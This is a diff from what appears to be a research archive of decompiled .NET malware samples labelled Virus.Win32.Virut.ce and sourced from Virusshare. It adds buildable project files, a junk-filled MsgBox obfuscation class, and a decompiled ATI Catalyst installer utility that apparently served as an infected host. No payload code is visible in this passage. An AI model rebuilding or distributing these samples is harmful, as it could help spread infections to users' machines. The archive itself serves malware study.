int num1 = (int) Interaction.MsgBox((object) "tGwDUwqqNNJvjJFHCADMEJATBZpDKgpJlkrRdVQYqCcfIDaxkoeRxMtfBdWeQNAGEzvVfcEcThThKSeHWhCJWhQqajbWFrZZTuwcMWJacMuIZzKvUBBrggivnQbeEdUYOfdVVgblDGplshxaEaxvmEptjHNqDYAdFqxMywncEnUKgzZutYZkQvLkvTIzsaQNPnCphBbltWJWKY");
int num2 = (int) Interaction.MsgBox((object) "bGJxfmGzDlQULbQOIKKLnRJWxdTRBLxOaHUexuFqOEPOGDwogrJiOEwENlhYoSUTqSPSGrvXQKNXXfnshCjpDPdQGZLwugiPvacQujVesswFXzAhfSfBNNivkokPRueIVqZaQdMaqomysnpPuHDLHgDGxqsnMnzsovcTnYZthwyFLnHvvWEYVnxbWRbIsSpfCeBUThvqGbAZbUYMF");
int num3 = (int) Interaction.MsgBox((object) "nNsLTDrUpSazZFDIeJujSGajvvBnHJgExcXGiQhJnTkgrMCypcsdNiGKTdzKiwTnOjkNVXFOEdfVKsfqiqmeLyNVnZRXIAzGYOlbmSKImtTuMgdFQWLLCJWURJHVFkQwjrZwWeZVhHbU");
int num4 = (int) Interaction.MsgBox((object) "xIbiycNCQMMGQqFYPCKykVpYhdjDTEJexHuGjGjorbGjeFCMONOkmjrrHLJDsErhkHLJSgiXFAoRnJFLumpRNlpibZIuJpeipPQIYBHqXZnQLfRveNVwKqrYKGObNbfJjTsGwhPXQljhujutngoaWNHpeuJCzbAlmKYDilOsDZMSijxgpecEtQrJDfcXOEzqTarCcdLeGeDYXthkGxVlWNEGDBAoCZjzzGeEaWQHvprBIdGgHZzWBTCKyxN");
int num5 = (int) Interaction.MsgBox((object) "mJNQBHHbsTfzQvdgBIsrTRxyvAGDHGlrTznCyopurJvuDJHovPyuByMdrGGBSIdPBobxfGZWWHPdXwcNRjXVjbUQrfnagXtcfXPRVoQbUWmLbexybFCvNYZNUnpANCfuzwsdyWVBTynWJozxJWKxZmtdGkiPszayZUnBDlrshtsgJHmEdqYwHydHNgulKxfiRycGYQevZReIQSLQyUUOzshvGhmEexusrk");
int num6 = (int) Interaction.MsgBox((object) "cuBPsrpVaGcdEZTdANhQPAvNacCrDGfUrucKlbBsqQenjMbCnZeeJJoUsNeEflQrpEmTBCzRLblsnoYTKtQkqVoVoZuRTrlYYTtySqYcklNCscAKTQIqkEiyRFL");
int num7 = (int) Interaction.MsgBox((object) "tztLFukYWwoqznFpXTSujRlNcEnhHUreFTauRWUSqfGhrLfcOfdYQPQDRMnJzYgGkuCGJRPvWwosokQySPkclJTmkuccehTBYIboxmvddmSDSnYZE");
int num8 = (int) Interaction.MsgBox((object) "WuTXGDMyYYACQFvFFFuSAioVDHhBmjaNnnKmzMWOsaQjkBvsjuGDlutgpmafVSTAXpnCDBAkELxgWJYHtBYgILzCIierXLxuBVsBUSMVmyibbXtHMxmjTbVrlRhRtHaCCzNRyFVdPJNCBoVzODluSlVHxJZolESgymfsLpQRNbryCTscnIvHkNGVesqAvmpXmFbEdjqSfLdTIAtcXtVpUMwhy");
}
public static void TvjbOKFqDE(
string mqeJtrdWnapHklOfumntJnKWMjVCoGGxKlEKVbbPuxyIBfBJk)
{
int num1 = (int) Interaction.MsgBox((object) "IwzzuEmPXPoXVRCkseoQsUMfMpcOgdpFhPaebtMIqPXXUXjwlXwhWBPTzPtwrdskamdOfKurfUuSqmJlFxjFdyfiPtpcQyVPkLeIIuhBiUURUYhVyeExuaWnNQeqjVUbdyPKYfevsMgTDJWQXgbyvLBqczxggXolnASXWgtBfjNZlGlxxsgKbTbTejaCzTnWiHWwwMhwOcwlPg");
int num2 = (int) Interaction.MsgBox((object) "UjEraqTzNMQoTrELCDyBbIHJGUlMdxPnAnpqabtblHcLlIgprXHVlrGQkJbPjTgHQQgygMeBmOZcjzxlrpwgknkhwWsBgGmkpRJSHZNpHsZZJlMUIvTCOZEvzhCxOwvTLnprjCOlTIYiHKZYXTGGkKIVCvJKLwpgZndlPXWYHmNHtXhmEFBmrtAKdivvTcgCWRjphdfYjeVkGvdDyyvjNt");
int num3 = (int) Interaction.MsgBox((object) "peFStZNWMpPmSaNvwojHvFIZikIVVFEYCFhTwuSPITZQEwDKwKIXnOecjEeXTBCWhtlybutIVNCEYiKlYMBrfjZRmhjlvUwuzhBIepyaTLfEVzsAyjxRSgDULKGLyZtUYLLzspvYCqSqIHfqQczvUXNbZcAXeCXbSwYjTbuEaSweaMAVvbqKMpYEQfFMyffcsqicgPyiVtqgNPpKNasF");
int num4 = (int) Interaction.MsgBox((object) "ydjBZdKHdYRYiLQFDLxdsbFAGNfnUGOHQWQUjIrAeUiNsuatoELGFGTFHQFKPoKsoMUhXQBXKpmELQkwqOoESvObWoiiRQiImneqjQwzpZLyhpsddOZcJzpWVyLUBsdgocxPWmGoNmwCefHWmSScLiXazhtTLugqDvEJydWdszBRyhRrfjmPQWAFQSiJHzrnWSMNJdUdFeOVMPyIuvijlZBfInhn");
int num5 = (int) Interaction.MsgBox((object) "kIXxEpXdjtvTwSAiadrBLSxdOWLYjEvmzyBMKUrwCboSQKWakmymjChFiFiqeaLBYXuvZnHpDULrXBIhQxLSmIRxWtAjKDWtdRkyqJamJOurOGUdmyNtRzIfcwEWjpiXGXGyENpwYVhmMsTflRRoPgnuED");
int num6 = (int) Interaction.MsgBox((object) "xkopXCXwqzsJscRfSBKMxDxmXmcLTHIPiwyXmYUbnqTkFTGWKYxsZRWPjToLQZZIcvMJCDARUraeazptZqITdNNGSvbvXerKGARhUofYMZDZFOhDnbfWKljTznexnRZexiCZrYWGqHqEvKwIbyCmXhKIRlzQgmYbNIUUEpWjMbzyfxSQeOuQvZoSBlkGUrzVLYzEazcSIz");
int num7 = (int) Interaction.MsgBox((object) "iYpiroqbbDEfFSZrGLROIQibvpKQotPNWnVtsoetdqPgytbxIBGIqdSNVQlbkSENUuvnGRygfpCPJgEmWVZcHzlIfxGUvLxKpxqiakGQDoggvRlQGEZEuxpvaBxQmFgCnohyKKaRepiMVXNyeBabIimmGMrLiBbEXmSDSjqyFWuJZWikgISLcPZXDNSvpyjjaxggmV");
int num8 = (int) Interaction.MsgBox((object) "NQmxUXFsvUyUCGmcdqIyUOJzSgkyHQluhNpIWPimazDTSXyNKdttZcezkcyBRgGjJwtjsMMuaeYixKGVooZUztGrmiwMQqGzVokGjJDYYdxxrPbIpsmJwHEkSUNGpyytJEIyAYhvRQtCiVirKWuRNmlBCFnnZyoFdpYnhjdUPRFhIDDTLSKMHSDQHsTPpTdgQgjBzBTUtoO");
int num9 = (int) Interaction.MsgBox((object) "ZednujVssUsNszYUlsmKiJgEdBfykZqnVTZzLqofMTcNiNjefudtMhgCqZaYyCCiWwwfzOHZzeVJeCgHKrVYUzFMnJtCNFDunotMkRNONvCfYwQqZFbyFJotfRfuVgpUxFMbSlMLUUDXnWrmVKbvTzRKhIOTTZzSSvoymRCvynmEwnPBbBhnMRdnLhMNTYHlueBevsSTaWotsDDkksCAEzGfLC");
int num10 = (int) Interaction.MsgBox((object) "jRGbPVXHvWCibMuctYkyaMgjHLNMMsrQqvgUbLjgzjowVgiaQJUTmHJPWxMueyBDaBmjpEvPjTZbafuMiXiRfTxaJfgaLXWaVkUgPdezgbCnzkCcdQVFNZSFNSVRpVTLYbIKDXaIVuWZKjpbytoteuQsBdVacwtjcZoYxQXKkThzhwxLeYgedeVGaOqhDbbSgzGrgBEzMujHndHcURBfQdZvYC");
int num11 = (int) Interaction.MsgBox((object) "OIJwaojnVGfPzFqUnvSMIzUdJRaxABEcRvDwamrLKQXaJGGZWyvRaGhtAZGwbHiyiIiERcixTcYWWGjDwqTzXhGRVhaYPXBTYSIeNBNGQDtXIVUVyIxjdTcPiW");
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.csproj
+45
View File
@@ -0,0 +1,45 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>123</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="Module2.cs" />
<Compile Include="Jungle.cs" />
<Compile Include="NmXRWnCqVoQLkgsgflZU.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "123", "Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.csproj", "{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Action.cs
+22
View File
@@ -0,0 +1,22 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Action
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
namespace ATI.ACE.CCCInstall
{
internal enum Action
{
InstallOldGAC,
InstallGAC,
InstallNGen,
UninstallOldGAC,
UninstallGAC,
UninstallNGen,
CreateReg,
CreateVersion,
UpdateNgen,
ForceUninstallGAC,
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstall.cs
+566
View File
@@ -0,0 +1,566 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.CCCInstall
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using ATI.ACE.CCCInstall.Tasks;
using Microsoft.Win32;
using MsGac.Fusion.Native;
using System;
using System.Collections.Specialized;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace ATI.ACE.CCCInstall
{
internal class CCCInstall
{
private const int MAX_NUM_ARGS = 4;
private const int MIN_NUM_ARGS = 1;
private const string ACE_PACKAGE_REGKEY32 = "SOFTWARE\\ATI\\ACE";
private const string ACE_PACKAGE_REGKEY64 = "SOFTWARE\\Wow6432Node\\ATI\\ACE";
private const string INSTALL_BRANDING_REGKEY = "SOFTWARE\\ATI Technologies\\Install\\ccc-branding";
private const string REGKEY_LOCATION = "Location";
private const string REGKEY_INSTALLDIR = "InstallDir";
private const string ARG_NGEN_UPDATE = "ngen:update";
private const string ARG_NGEN_INSTALL = "ngen:i";
private const string ARG_GAC_INSTALL = "gac:i";
private const string ARG_NGEN_UNINSTALL = "ngen:u";
private const string ARG_GAC_UNINSTALL = "gac:u";
private const string ARG_ALL_INSTALL = "all:i";
private const string ARG_ALL_UNINSTALL = "all:u";
private const string ARG_CREATEREG = "createreg";
private const string ARG_CREATEVERSION = "createversion";
private const string ARG_FILE = "-f";
private const string ARG_BYPACKAGE = "-p";
private const string ARG_ALLPACKAGES = "-a";
private const string ARG_FORCEALLPACKAGES = "-fa";
private const string ARG_FORCEBRANDING = "-fb";
private const string ARG_NOLOG = "/nolog";
private const int ACTION = 0;
private const int SPEC = 1;
private const int OPTIONAL_ARG = 2;
private const string ARG_TOKEN = "90ba9c70f846762e";
private const string ARG_BRANDING = "Branding";
private const string ARG_CCCBRANDING = "ccc-branding";
private string[] args;
private CCCInstallLog Log;
private bool showLog = true;
private static bool allPackages;
private static bool gacInstall;
private static bool gacUninstall;
private static void Main(string[] args)
{
ATI.ACE.CCCInstall.CCCInstall cccInstall = new ATI.ACE.CCCInstall.CCCInstall(args);
try
{
if (!ATI.ACE.CCCInstall.CCCInstall.allPackages)
return;
if (ATI.ACE.CCCInstall.CCCInstall.gacInstall)
{
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
(subKey == null ? (RegistryKey) null : subKey.CreateSubKey("Assemblies", RegistryKeyPermissionCheck.ReadWriteSubTree))?.CreateSubKey("Installed");
}
else
{
if (!ATI.ACE.CCCInstall.CCCInstall.gacUninstall)
return;
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey);
(registryKey == null ? (RegistryKey) null : registryKey.OpenSubKey("Assemblies", true))?.DeleteSubKey("Installed", false);
}
}
catch (Exception ex)
{
}
}
private static string AceRegKey => IntPtr.Size == 8 ? "SOFTWARE\\Wow6432Node\\ATI\\ACE" : "SOFTWARE\\ATI\\ACE";
public CCCInstall(string[] argsParam)
{
if (argsParam.Length < 1)
this.ShowInvalidFormatError();
if (argsParam[argsParam.Length - 1].Equals("/nolog", StringComparison.InvariantCultureIgnoreCase))
{
this.showLog = false;
this.args = new string[argsParam.Length - 1];
for (int index = 0; index < argsParam.Length - 1; ++index)
this.args[index] = argsParam[index];
}
else
this.args = argsParam;
if (this.args.Length < 1 || this.args.Length > 4)
this.ShowInvalidFormatError();
this.Log = new CCCInstallLog(this.showLog);
try
{
this.Log.LogMessage("ARGS passed: " + string.Join(" ", argsParam));
if (this.args[0].Equals("createreg", StringComparison.InvariantCultureIgnoreCase))
this.ParseSpecArg((ITask) new RegistryTasks(this.Log, Action.CreateReg));
else if (this.args[0].Equals("createversion", StringComparison.InvariantCultureIgnoreCase) && this.args[1].Equals("-f", StringComparison.InvariantCultureIgnoreCase))
new VersionTasks(this.Log, Action.CreateVersion).Run(this.args[2]);
else if (this.args[0].Equals("ngen:update", StringComparison.InvariantCultureIgnoreCase))
new NgenTasks(this.Log, Action.UpdateNgen).Run("");
else if (this.args[0].Equals("gac:i", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.gacInstall = true;
this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.InstallGAC));
}
else if (this.args[0].Equals("gac:u", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true;
this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.UninstallGAC));
}
else if (this.args[0].Equals("ngen:i", StringComparison.InvariantCultureIgnoreCase))
this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.InstallNGen));
else if (this.args[0].Equals("ngen:u", StringComparison.InvariantCultureIgnoreCase))
this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.UninstallNGen));
else if (this.args[0].Equals("all:i", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.gacInstall = true;
this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.InstallGAC));
this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.InstallNGen));
this.ParseSpecArg((ITask) new RegistryTasks(this.Log, Action.CreateReg));
}
else if (this.args[0].Equals("all:u", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true;
this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.UninstallNGen));
this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.UninstallGAC));
}
else
this.ShowInvalidFormatError();
}
finally
{
if (this.showLog && this.Log != null)
this.Log.LogFinished();
}
}
private void RunOnPackage(string packageName, ITask task)
{
string name = ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages\\" + packageName;
RegistryKey registryKey = (RegistryKey) null;
try
{
registryKey = Registry.LocalMachine.OpenSubKey(name, false);
if (registryKey == null)
this.Log.LogMessage("Error: The registry key " + name + " does not exist.");
else if (!(registryKey.GetValue("Location") is string str))
this.Log.LogMessage(string.Format("Error: The registry key {0}\\{1} does not exist.", (object) name, (object) "Location"));
else
task.Run(str + "\\Install.xml");
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
finally
{
registryKey?.Close();
}
}
private StringCollection GetLanguages(RegistryKey ACEKey)
{
StringCollection languages = new StringCollection();
if (ACEKey == null)
{
this.Log.LogMessage("Error: The registry key " + (object) ACEKey + " does not exist.");
}
else
{
try
{
RegistryKey registryKey = ACEKey.OpenSubKey("Languages", false);
if (registryKey == null)
{
this.Log.LogMessage("Error: The registry key " + (object) ACEKey + "\\Languages does not exist.");
}
else
{
string[] subKeyNames = registryKey.GetSubKeyNames();
if (subKeyNames.Length > 0)
{
for (int index = 0; index < subKeyNames.Length; ++index)
{
if (!subKeyNames[index].Equals("en-US"))
languages.Add(subKeyNames[index]);
}
}
}
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
}
return languages;
}
private void RunOnAllPackages(ITask task)
{
RegistryKey ACEKey = (RegistryKey) null;
try
{
ACEKey = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, false);
if (ACEKey == null)
{
this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + " does not exist.");
}
else
{
StringCollection languages = this.GetLanguages(ACEKey);
RegistryKey registryKey1 = ACEKey.OpenSubKey("Packages", false);
if (registryKey1 == null)
{
this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages does not exist.");
}
else
{
foreach (string subKeyName in registryKey1.GetSubKeyNames())
{
try
{
RegistryKey registryKey2 = registryKey1.OpenSubKey(subKeyName);
if (registryKey2 != null)
{
string str1 = registryKey2.GetValue("Location") as string;
string filePath1 = str1 + "\\Install.xml";
task.Run(filePath1);
foreach (string str2 in languages)
{
string filePath2 = string.Format("{0}\\{1}\\Install.xml", (object) str1, (object) str2);
task.Run(filePath2);
}
}
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
}
}
}
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
finally
{
ACEKey?.Close();
}
}
private void RunUnGacAll(ITask task)
{
try
{
this.Log.LogMessage("Option selected: Force remove all ATI file in the GAC");
IAssemblyCache ppAsmCache;
FusionApi.CreateAssemblyCache(out ppAsmCache, 0U);
int num1 = 0;
string str = "";
MsGac.Fusion.Native.IAssemblyEnum ppEnum;
FusionApi.CreateAssemblyEnum(out ppEnum, IntPtr.Zero, (MsGac.Fusion.Native.IAssemblyName) null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero);
RegistryKey registryKey1 = (RegistryKey) null;
RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, false);
if (registryKey2 != null)
registryKey1 = registryKey2.OpenSubKey("Packages", false);
else
this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + " does not exist.");
if (registryKey1 == null)
{
this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages does not exist.");
}
else
{
RegistryKey registryKey3 = registryKey1.OpenSubKey("Branding");
if (registryKey3 != null)
str = registryKey3.GetValue("Location") as string;
}
MsGac.Fusion.Native.IAssemblyName ppName;
while (ppEnum.GetNextAssembly(IntPtr.Zero, out ppName, 0U) == 0)
{
uint lpcwBuffer = 0;
ppName.GetName(ref lpcwBuffer, (StringBuilder) null);
StringBuilder pwzName = new StringBuilder((int) lpcwBuffer);
ppName.GetName(ref lpcwBuffer, pwzName);
MsGac.Fusion.Native.ASM_NAME[] values = (MsGac.Fusion.Native.ASM_NAME[]) Enum.GetValues(typeof (MsGac.Fusion.Native.ASM_NAME));
for (int index1 = 0; index1 < values.Length; ++index1)
{
uint pcbProperty = 0;
IntPtr num2 = IntPtr.Zero;
try
{
ppName.GetProperty(values[index1], IntPtr.Zero, ref pcbProperty);
num2 = Marshal.AllocHGlobal((int) pcbProperty);
ppName.GetProperty(values[index1], num2, ref pcbProperty);
if (values[index1] == MsGac.Fusion.Native.ASM_NAME.PUBLIC_KEY_TOKEN)
{
byte[] destination = new byte[(int) pcbProperty];
Marshal.Copy(num2, destination, 0, (int) pcbProperty);
StringBuilder stringBuilder = new StringBuilder(2 * (int) pcbProperty);
for (int index2 = 0; index2 < destination.Length; ++index2)
stringBuilder.AppendFormat("{0:x2}", (object) destination[index2]);
if (stringBuilder.ToString() == "90ba9c70f846762e")
{
string pszAssemblyName = pwzName.ToString();
if (this.args.Length > 2 && this.args[2] == "-b" && File.Exists(str + "\\" + pszAssemblyName + ".dll"))
{
this.Log.LogMessage("Skipping Branding file: - " + str + "\\" + pszAssemblyName + ".dll");
}
else
{
uint pulDisposition;
ppAsmCache.UninstallAssembly(0U, pszAssemblyName, (FUSION_INSTALL_REFERENCE[]) null, out pulDisposition);
if (pulDisposition != 1U)
this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" failed, ERROR!!!");
else
this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" success");
++num1;
}
}
}
}
catch
{
}
finally
{
if (num2 != IntPtr.Zero)
Marshal.FreeHGlobal(num2);
}
}
}
this.Log.LogMessage("Total assembly removed: " + (object) num1);
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
}
private void RunUnGacBranding(ITask task)
{
try
{
this.Log.LogMessage("Option selected: Force remove all ATI branding file in the GAC");
IAssemblyCache ppAsmCache;
FusionApi.CreateAssemblyCache(out ppAsmCache, 0U);
int num1 = 0;
string str = "";
MsGac.Fusion.Native.IAssemblyEnum ppEnum;
FusionApi.CreateAssemblyEnum(out ppEnum, IntPtr.Zero, (MsGac.Fusion.Native.IAssemblyName) null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero);
string name = "SOFTWARE\\ATI Technologies\\Install\\ccc-branding";
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name, false);
if (registryKey == null)
this.Log.LogMessage("Error: The registry key " + name + "\\Packages does not exist.");
else
str = registryKey.GetValue("InstallDir") as string;
if (str.Length < 1)
{
this.Log.LogMessage("ERROR, unable to locate Branding folder!!!");
}
else
{
MsGac.Fusion.Native.IAssemblyName ppName;
while (ppEnum.GetNextAssembly(IntPtr.Zero, out ppName, 0U) == 0)
{
uint lpcwBuffer = 0;
ppName.GetName(ref lpcwBuffer, (StringBuilder) null);
StringBuilder pwzName = new StringBuilder((int) lpcwBuffer);
ppName.GetName(ref lpcwBuffer, pwzName);
MsGac.Fusion.Native.ASM_NAME[] values = (MsGac.Fusion.Native.ASM_NAME[]) Enum.GetValues(typeof (MsGac.Fusion.Native.ASM_NAME));
for (int index1 = 0; index1 < values.Length; ++index1)
{
uint pcbProperty = 0;
IntPtr num2 = IntPtr.Zero;
try
{
ppName.GetProperty(values[index1], IntPtr.Zero, ref pcbProperty);
num2 = Marshal.AllocHGlobal((int) pcbProperty);
ppName.GetProperty(values[index1], num2, ref pcbProperty);
if (values[index1] == MsGac.Fusion.Native.ASM_NAME.PUBLIC_KEY_TOKEN)
{
byte[] destination = new byte[(int) pcbProperty];
Marshal.Copy(num2, destination, 0, (int) pcbProperty);
StringBuilder stringBuilder = new StringBuilder(2 * (int) pcbProperty);
for (int index2 = 0; index2 < destination.Length; ++index2)
stringBuilder.AppendFormat("{0:x2}", (object) destination[index2]);
if (stringBuilder.ToString() == "90ba9c70f846762e")
{
string pszAssemblyName = pwzName.ToString();
int length = this.args.Length;
if (File.Exists(str + "\\" + pszAssemblyName + ".dll"))
{
uint pulDisposition;
ppAsmCache.UninstallAssembly(0U, pszAssemblyName, (FUSION_INSTALL_REFERENCE[]) null, out pulDisposition);
if (pulDisposition != 1U)
{
this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" failed, ERROR!!!");
}
else
{
this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" success");
++num1;
}
}
else
this.Log.LogMessage("Skipping file, not branding: - " + str + "\\" + pszAssemblyName + ".dll");
}
}
}
catch
{
}
finally
{
if (num2 != IntPtr.Zero)
Marshal.FreeHGlobal(num2);
}
}
}
this.Log.LogMessage("Total assembly removed: " + (object) num1);
}
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
}
private void RecurseOnRegKey(RegistryKey key, ITask task)
{
try
{
if (key == null)
{
this.Log.LogMessage("Error: Key is null");
}
else
{
string str = key.GetValue("Location", (object) string.Empty) as string;
if (string.IsNullOrEmpty(str))
{
foreach (string subKeyName in key.GetSubKeyNames())
this.RecurseOnRegKey(key.OpenSubKey(subKeyName), task);
}
else
{
string filePath = str + "\\Install.xml";
task.Run(filePath);
}
}
}
catch (Exception ex)
{
this.Log.LogException(ex);
}
finally
{
key?.Close();
}
}
private void ParseSpecArg(ITask task)
{
if (this.args[1].Equals("-f", StringComparison.InvariantCultureIgnoreCase))
{
if (this.args.Length <= 4)
task.Run(this.args[2]);
else
this.ShowInvalidFormatError();
}
else if (this.args[1].Equals("-p", StringComparison.InvariantCultureIgnoreCase))
{
if (this.args.Length <= 4)
this.RunOnPackage(this.args[2], task);
else
this.ShowInvalidFormatError();
}
else if (this.args[1].Equals("-a", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.allPackages = true;
if (this.args.Length >= 1)
this.RunOnAllPackages(task);
else
this.ShowInvalidFormatError();
}
else if (this.args[1].Equals("-fa", StringComparison.InvariantCultureIgnoreCase))
{
ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true;
ATI.ACE.CCCInstall.CCCInstall.allPackages = true;
if (this.args.Length >= 1)
this.RunUnGacAll(task);
else
this.ShowInvalidFormatError();
}
else if (this.args[1].Equals("-fb", StringComparison.InvariantCultureIgnoreCase))
{
if (this.args.Length >= 1)
this.RunUnGacBranding(task);
else
this.ShowInvalidFormatError();
}
else
this.ShowInvalidFormatError();
}
private void ShowInvalidFormatError()
{
Console.WriteLine("ATI (R) Catalyst Control Center Utility");
Console.WriteLine("Copyright (C) ATI Technologies 2006.");
Console.WriteLine("");
Console.WriteLine("Usage: CCCInstall.exe <action> <inputMode> [filePath|packageName] [noLog]");
Console.WriteLine("");
Console.WriteLine("Actions:");
Console.WriteLine(" ngen:i");
Console.WriteLine(" Adds assemblies specified in the xml file into Native Assembly Cache");
Console.WriteLine(" ngen:u");
Console.WriteLine(" Removes assemblies specified in the xml file from Native Assembly Cache");
Console.WriteLine(" ngen:update");
Console.WriteLine(" Updates the ngened images and recompiles invalidated ones.");
Console.WriteLine(" gac:i");
Console.WriteLine(" Adds assemblies specified in the xml file into GAC");
Console.WriteLine(" gac:u");
Console.WriteLine(" Removes assemblies specified in the xml file from GAC");
Console.WriteLine(" createreg");
Console.WriteLine(" Creates a registry containing the full name of the assemblies");
Console.WriteLine(" createversion");
Console.WriteLine(" Creates a dat file with the version number to be placed in the registry (-f only)");
